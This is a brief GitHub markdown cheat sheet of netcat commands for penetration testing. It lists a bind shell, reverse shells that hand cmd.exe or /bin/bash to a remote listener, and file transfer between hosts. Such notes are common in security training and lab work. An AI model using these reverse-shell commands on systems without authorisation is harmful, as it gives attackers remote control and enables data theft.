Skip to content

Latest commit

 

History

History
21 lines (17 loc) · 436 Bytes

netcat.md

File metadata and controls

21 lines (17 loc) · 436 Bytes

Netcat

Basic bind shell:

nc -nvlp 443           # On local Kali
nc -nv <REMOTE-IP> 443 # On remote

Basic reverse shell:

sudo nc -nlvp 443                  # On local Kali
nc -nv <LOCAL-IP> 443 -e cmd.exe   # On remote Windows
nc -nv <LOCAL-IP> 443 -e /bin/bash # On remote Linux

Sending files:

sudo nc -nvlp 443 > incoming.exe     # Reciever
nc -nv <LOCAL-IP> 443 < incoming.exe # Sender